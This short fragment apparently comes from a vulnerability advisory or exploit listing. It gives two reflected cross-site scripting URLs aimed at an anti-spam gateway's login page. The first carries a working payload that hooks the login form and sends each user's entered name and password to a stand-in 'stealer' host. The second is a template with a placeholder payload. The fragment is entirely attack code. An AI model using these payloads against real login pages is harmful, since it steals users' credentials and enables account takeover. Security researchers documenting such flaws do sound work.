http://www.example.com/AntiSpamGateway/UPM/English/login/login.asp?LoginName=XXX&LoginType=1&DIRECTTO=3&PARAMS=XXX"><script>function 
SendCredentials(){ img = new Image(); 
img.src="http://www.example2.com/stealer/?userid=" + 
document.forms[0].LoginName.value + "&password=" + 
document.forms[0].LoginPass.value;} function HandleSubmit(){ 
document.forms[0].onsubmit= SendCredentials; } window.onload = 
HandleSubmit;</script><input%20type="hidden"%20name="Params2"%20value="x
http://www.example.com/AntiSpamGateway/UPM/English/login/login.asp?LoginName=XXX&LoginType=1&PARAMS=XXX"><SCRIPT>PAYLOAD 
</SCRIPT><input%20type="hidden"%20name="XXX"%20value="X